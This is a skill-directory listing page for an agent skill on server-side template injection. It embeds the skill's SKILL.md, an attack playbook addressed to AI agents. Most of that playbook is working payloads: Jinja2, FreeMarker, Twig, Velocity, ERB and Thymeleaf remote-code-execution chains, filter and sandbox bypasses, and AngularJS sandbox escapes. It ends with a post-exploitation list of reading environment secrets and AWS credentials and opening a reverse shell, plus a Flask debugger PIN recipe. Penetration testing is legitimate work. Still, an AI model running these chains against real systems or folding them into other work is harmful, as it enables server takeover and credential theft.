Now liveThe Skillselion MCP - thousands of ranked skills, loaded into your agent mid-task. No install.Get it →
yaklang avatar

Ssti Server Side Template Injection

  • 2.3k installs
  • 1.5k repo stars
  • Updated June 16, 2026
  • yaklang/hack-skills

ssti-server-side-template-injection is an agent skill that tests SSTI with polyglot probes, engine fingerprinting, and per-engine RCE chains.

About

The ssti-server-side-template-injection skill covers expert SSTI with polyglot detection probes, engine fingerprinting, and RCE chains across Jinja2, Twig, FreeMarker, Velocity, ERB, Thymeleaf, and more. Detection sends double-brace, dollar-brace, hash, and Thymeleaf probes checking if math evaluates server-side not literally. Jinja2 versus Twig disambiguation uses seven-times-seven string versus numeric results. Engine-to-language mapping table links frameworks like Flask, Symfony, and Spring Boot. Sandbox escape sections document Jinja2 MRO chains, Twig and Freemarker RCE paths, and blind SSTI timing DNS techniques in ENGINE_PAYLOADS.md and SCENARIOS.md for Jira Velocity, Spring SpEL gateway, and PHP CMS eval templates. Routes to expression-language-injection when Java EL resolves separately. Use when template expressions, server-side rendering, preview features, or templating engines may evaluate attacker-controlled content. The workflow follows the source SKILL.md contract with progressive reference loading, clear trigger phrases, and practical steps developers can apply directly in agent sessions.

  • Polyglot probes: double-brace, dollar-brace, hash, Thymeleaf star syntax.
  • Jinja2 vs Twig disambiguation with seven-times-seven string multiplication.
  • Engine mapping: Jinja2, Twig, FreeMarker, Velocity, ERB, Thymeleaf.
  • SCENARIOS.md: Jira Velocity, Spring SpEL, Confluence OGNL, PHP CMS.
  • Routes to expression-language-injection for Java EL disambiguation.

Ssti Server Side Template Injection by the numbers

  • 2,304 all-time installs (skills.sh)
  • +122 installs in the week ending Aug 5, 2026 (Skillselion tracking)
  • Ranked #228 of 2,203 Security skills by installs in the Skillselion catalog
  • Security screen: CRITICAL risk (skills.sh audit)
  • Data as of Aug 5, 2026 (Skillselion catalog sync)
At a glance

ssti-server-side-template-injection capabilities & compatibility

Capabilities
polyglot ssti detection probes · engine fingerprinting and disambiguation · per engine rce chain references · blind ssti timing and dns techniques · el injection routing for java stacks
Use cases
security audit · testing · debugging
From the docs

What ssti-server-side-template-injection says it does

SSTI playbook.
SKILL.md
npx skills add https://github.com/yaklang/hack-skills --skill ssti-server-side-template-injection

Add your badge

Show developers this skill is listed on Skillselion. Paste this into your README.

Listed on Skillselion
Installs2.3k
repo stars1.5k
Security audit0 / 3 scanners passed
Last updatedJune 16, 2026
Repositoryyaklang/hack-skills

How do I fingerprint the template engine and escalate SSTI to RCE on Jinja2 or FreeMarker?

Test server-side template injection with polyglot probes, engine fingerprinting, and RCE chains for Jinja2, Twig, FreeMarker, Velocity, and ERB.

Who is it for?

Security engineers testing server-side template rendering, previews, and CMS template eval sinks.

Skip if: Skip when user input cannot reach template evaluation contexts.

When should I use this skill?

Use when template expressions or server-side rendering may evaluate attacker-controlled content.

What you get

Identified engine with detection probe results and engine-specific exploitation chain references.

  • Engine fingerprint decision tree results
  • Per-engine SSTI exploit payloads

By the numbers

  • ENGINE_PAYLOADS.md documents per-engine fingerprint probes and payload matrices

Files

SKILL.mdMarkdownGitHub ↗

SKILL: Server-Side Template Injection (SSTI) — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert SSTI techniques. Covers polyglot detection probes, engine fingerprinting, Jinja2/FreeMarker/Twig/ERB RCE chains, client-side Angular SSTI, and bypass techniques. Base models often miss sandbox escape MRO chains and non-Jinja2 engines. For PHP CMS template eval, Jira SSTI, Confluence OGNL, and Spring Cloud Gateway SpEL, load the companion SCENARIOS.md.

0. RELATED ROUTING

Before using full engine-specific exploitation, you can first load:

  • First use the polyglot probe sequence at the top of this file for low-noise fingerprinting
  • expression-language-injection when ${7*7} or %{7*7} resolves in Java (SpEL/OGNL) — different attack surface from template engines

Extended Scenarios

Also load SCENARIOS.md when you need:

  • Maccms 8.x PHP template eval{if-A:phpinfo()}{endif-A} in vod-search, base64 bypass for webshell write
  • Jira CVE-2019-11581 — "Contact Administrators" form → Velocity template injection → command output in admin email
  • Spring Cloud Gateway SpEL (CVE-2022-22947) — actuator route injection with StreamUtils.copyToByteArray for output capture
  • Struts2 OGNL S2-045 (CVE-2017-5638) — Content-Type header OGNL injection with _memberAccess / OgnlUtil blacklist clear
  • Confluence OGNL CVE-2021-26084 — createpage-entervariables.action with \u0027 unicode bypass
  • SSTI vs EL injection disambiguation guide
  • Additional template engines: ASP.NET Razor, Elixir EEx, PHP Smarty/Latte/Blade, JS Pug/Handlebars/Nunjucks/EJS/Lodash + universal detection + blind SSTI + Flask PIN calculation

SCENARIOS.md reference (§7–§11): For expanded payloads and engine-specific notes on Razor, EEx/LEEx/HEEx, PHP stacks, JavaScript template engines, the universal polyglot probe, mathematical fingerprinting, blind SSTI (boolean / time / OOB), and Flask debug PIN prerequisites, see SCENARIOS.md. This skill keeps a short checklist in §13–§15.

Engine Payloads Reference

For extended engine-specific fingerprinting, payload matrices (Jinja2, Twig, Freemarker, Velocity, Pebble, Mako, Slim, Handlebars, Thymeleaf, Smarty, ERB, Jade/Pug), and blind SSTI detection techniques (timing-based, DNS-based), see ENGINE_PAYLOADS.md.

Universal detection & blind SSTI (pointer)

Use the polyglot payload and math probes in §1 and §13 first; when you need fuller blind-test patterns and per-engine examples (including non-Python stacks), follow SCENARIOS.md §11 and cross-check §14 here for technique names (boolean, time, OOB, error-based).

---

1. DETECTION — POLYGLOT PROBE SEQUENCE

First test: distinguish SSTI from XSS. Send these probes and check if math is evaluated server-side:

{{7*7}}        → IF returns 49 (not {{7*7}}) → Jinja2 or Twig
${7*7}         → IF returns 49 → FreeMarker, Velocity, or Java EL
#{7*7}         → Ruby (ERB interpolation in strings)
<#assign x=7*7>${x}  → FreeMarker
@{7*7}         → Thymeleaf
*{7*7}         → Thymeleaf SpEL (*{...})

Jinja2 vs Twig disambiguation:

{{7*'7'}}
→ 7777777  = Jinja2 (Python string multiplication)
→ 49       = Twig (PHP numeric)

Safe detection probe (no math, just boolean):

{{''.__class__}}   → class 'str' = Python/Jinja2

---

2. ENGINE-TO-LANGUAGE MAPPING

Template EngineLanguageFramework
Jinja2PythonFlask, FastAPI
Django TemplatesPythonDjango
MakoPythonPyramid
TwigPHPSymfony, Laravel
SmartyPHPVarious
FreeMarkerJavaSpring MVC
VelocityJavaVarious Java
PebbleJavaVarious Java
ThymeleafJavaSpring Boot
ERBRubyRails
Slim / HamlRubyRails
Jade / PugNode.jsExpress
HandlebarsNode.jsExpress
TornadoPythonTornado

Identifying language from errors → then narrow to template engine.

---

3. JINJA2 (PYTHON FLASK) — RCE CHAINS

Chain 1: os module via __globals__

{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

Chain 2: MRO subclass traversal (sandbox escape)

# List all subclasses:
{{''.__class__.__mro__[1].__subclasses__()}}

# Find subprocess.Popen index (usually around 258-270, varies by Python version):
# Look for "subprocess.Popen" in the list

# Execute command (replace [258] with correct index):
{{''.__class__.__mro__[1].__subclasses__()[258]('id', shell=True, stdout=-1).communicate()[0]}}

Chain 3: request object globals (works when config blocked)

{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}

(Uses hex encoding to avoid _ filtering)

Chain 4: lipsum function globals (Flask built-in)

{{lipsum.__globals__.os.popen('id').read()}}

Chain 5: cycler object

{{cycler.__init__.__globals__.os.popen('id').read()}}

Finding correct subprocess index dynamically:

# In injection:
{% for c in ''.__class__.__mro__[1].__subclasses__() %}
  {% if 'Popen' in c.__name__ %}
    {{loop.index}}
  {% endif %}
{% endfor %}

---

4. JINJA2 SANDBOX BYPASS TECHNIQUES

When _ (underscore) is blocked:

# Use attr filter with hex encoding:
''|attr('\x5f\x5fclass\x5f\x5f')

# Use getattr via request object:
request|attr('args')|attr('__class__')

When . (dot) is blocked:

# Use [] subscript notation:
''['__class__']
config['SECRET_KEY']

When keywords (class, mro) are blocked:

Use hex/unicode in attr():

|attr('\x5f\x5fclass\x5f\x5f')
|attr('\x5f\x5fm\x72\x6F\x5f\x5f')

When output encoding strips HTML entities:

Use |safe filter to prevent auto-escaping.

---

5. FREEMARKER (JAVA) — RCE

Execute Command via freemarker.template.utility.Execute

<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("id")}

Alternative via ObjectConstructor:

<#assign ob="freemarker.template.utility.ObjectConstructor"?new()>
<#assign br=ob("java.io.BufferedReader",ob("java.io.InputStreamReader",ob("java.lang.Runtime")?api.exec("id").inputStream))>
${br.readLine()}

---

6. TWIG (PHP) — RCE

// Twig 1.x (before sandbox):
{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("id")}}

// Twig 2.x using built-ins:
{{['id']|map('system')|join}}

// via filter map:
{{app.request.server.all|join(',')}}

---

7. VELOCITY (JAVA) — RCE

#set($str=$class.inspect("java.lang.Runtime").method.invoke($class.inspect("java.lang.Runtime").type, null))
#set($run=$str.exec("id"))
#set($out=$run.inputStream)

Or more directly:

#set($class=$currentNode.getClass())
#set($rt=$class.forName("java.lang.Runtime"))
#set($proc=$rt.getMethod("exec",$class.forName("java.lang.String")).invoke($rt.getMethod("getRuntime").invoke(null),"id"))

---

8. ERB (RUBY RAILS) — RCE

<%= system('id') %>
<%= `id` %>
<%= IO.popen('id').read %>
<%= File.read('/etc/passwd') %>

---

9. THYMELEAF (JAVA SPRING) — RCE

Thymeleaf with Spring EL (SpEL):

// In th:text or th:fragment context:
__${T(java.lang.Runtime).getRuntime().exec("id")}__::type

// Fragment expression context:
__${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(new String[]{"/bin/sh","-c","id"}).getInputStream())}__::type

---

10. CLIENT-SIDE TEMPLATE INJECTION (AngularJS)

When AngularJS is used client-side and user data flows into template expressions:

// AngularJS 1.x sandbox escape:
{{constructor.constructor('alert(1)')()}}

// 1.5.x:
{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}

// 1.3.x:
{{{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}

Detection: send {{1+1}} — if page shows 2, AngularJS evaluates expressions in the DOM.

---

11. SSTI → FULL RCE PATH

SSTI detected → identify engine
├── Jinja2 → config.__globals__['os'].popen() 
│           OR subclass traversal for Popen
├── FreeMarker → freemarker.template.utility.Execute?new()
├── Twig → _self.env.registerUndefinedFilterCallback('exec')
├── Velocity → java.lang.Runtime.exec()
├── ERB → <%= `cmd` %>
├── Thymeleaf → T(java.lang.Runtime).getRuntime().exec()
└── Angular CSTI → constructor.constructor('payload')()

Post-RCE pivot: 1. Read /proc/self/environ — env vars with credentials 2. Read application config files — DB passwords, API keys 3. cat ~/.aws/credentials — cloud credentials 4. Reverse shell for persistence

---

12. COMMON INJECTION ENTRY POINTS

Where user data enters templates:

  • URL path: https://site.com/home?name={{7*7}}
  • Query parameters: ?message=Hello
  • HTML forms: profile name, bio, content fields
  • Error pages: 404 Not Found: /PAYLOAD
  • Email templates: name in password reset emails
  • Inline template rendering: render_template_string(user_input)

Most dangerous: render_template_string() in Flask — entire user input used as template.

---

13. UNIVERSAL DETECTION PAYLOADS

Polyglot probe that triggers errors or evaluation in many engines:

${{<%[%'"}}%\.

Mathematical probes for blind/error confirmation:

{{7*7}}          → 49 (Jinja2, Twig, Nunjucks, Handlebars)
${7*7}           → 49 (FreeMarker, Velocity, EL, Thymeleaf)
<%= 7*7 %>       → 49 (ERB, EJS, EEx)
#{7*7}           → 49 (Pug, Ruby interpolation)
@(7*7)           → 49 (Razor)
{7*7}            → 49 (Smarty)

Error-based engine fingerprint (parser/stack traces often name the engine):

(1/0).zxy.zxy

---

14. BLIND SSTI TECHNIQUES

  • Boolean-based: Compare (3*4/2) vs 3*)2(/4 — if the first resolves and the second errors, evaluation is likely
  • Time-based: {{sleep(5)}} or the engine-specific equivalent for delay
  • OOB: DNS/HTTP callback via template expressions when direct output is not visible
  • Error-based: Force different error messages based on true/false conditions

---

15. FLASK PIN CALCULATION

When Flask debug mode (Werkzeug debugger) is exposed but PIN-protected, the PIN is derived from host-specific values. Typical inputs for public PIN calculation scripts:

1. `username` — from /etc/passwd (the user running the Flask process) 2. Module name — often flask.app or Flask 3. Application pathapp.py or the real main filename 4. MAC address — e.g. /sys/class/net/eth0/address, converted to decimal as Werkzeug expects 5. Machine ID/etc/machine-id, or /proc/sys/kernel/random/boot_id combined with the first line of /proc/self/cgroup per Werkzeug’s algorithm 6. Compute PIN — use established open-source PIN calculators that implement the same algorithm from these values

Use only on systems you are authorized to test; obtaining these values implies prior access or an additional info-disclosure vector.

Related skills

How it compares

Choose ssti-server-side-template-injection over generic injection skills when the attack surface is server-side template rendering rather than SQL or command injection.

FAQ

Who is ssti-server-side-template-injection for?

Security engineers testing server-side template rendering, previews, and CMS template eval sinks.

When should I use ssti-server-side-template-injection?

When template expressions or server-side rendering may evaluate attacker-controlled content.

Is ssti-server-side-template-injection safe to install?

Review the Security Audits panel on this page before installing in production.

Securityappsec

This week in AI coding

Five minutes, every Monday - the tools, releases and tactics for developers.

unsubscribe anytime.